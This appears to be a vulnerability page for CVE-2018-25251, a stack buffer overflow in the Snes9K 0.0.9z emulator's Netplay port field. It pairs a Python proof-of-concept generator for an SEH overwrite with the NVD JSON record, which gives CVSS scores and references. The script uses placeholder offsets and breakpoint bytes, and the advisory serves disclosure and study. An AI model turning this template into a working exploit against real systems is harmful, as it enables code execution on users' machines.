CVE-2018-25251

#!/usr/bin/env python3 # PoC Generator for CVE-2018-25251 # Generates a payload to trigger SEH overwrite in Snes9K 0.0.9z import sys # Offset to SEH structure (Hypothetical based on standard stack layouts) # Adjust offset based on actual debugging offset = 500 # Overwrite Next SEH next_seh = b"\xeb\x06\x90\x90" # Short jump + NOPs # Overwrite SE Handler (POP POP RET instruction address) # This address needs to be a valid address from a non-ASLR module seh_handler = b"\x10\x11\x12\x13" # Payload (Shellcode) # Example: Calc.exe shellcode or bind shell payload = b"\xcc" * 300 # Construct final buffer buffer = b"A" * offset + next_seh + seh_handler + payload try: print(f"[+] Generating Payload for CVE-2018-25251") print(f"[+] Payload Length: {len(buffer)}") print("[+] Copy the content below and paste it into the 'Socket Port Number' field:") print(buffer.decode('latin-1')) except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2018-25251", "sourceIdentifier": "[email protected]", "published": "2026-04-04T14:16:21.203", "lastModified": "2026-04-16T16:15:56.380", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Snes9K 0.0.9z contains a buffer overflow vulnerability in the Netplay Socket Port Number field that allows local attackers to trigger a structured exception handler (SEH) overwrite. Attackers can craft a malicious payload and paste it into the Socket Port Number field via the Netplay Options menu to achieve code execution through SEH chain exploitation."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://sourceforge.net/projects/snes9k/", "source": "[email protected]"}, {"url": "https://sourceforge.net/projects/snes9k/files/latest/download", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/45598", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/snes9k-9z-buffer-overflow-seh-via-netplay-socket", "source": "[email protected]"}]}}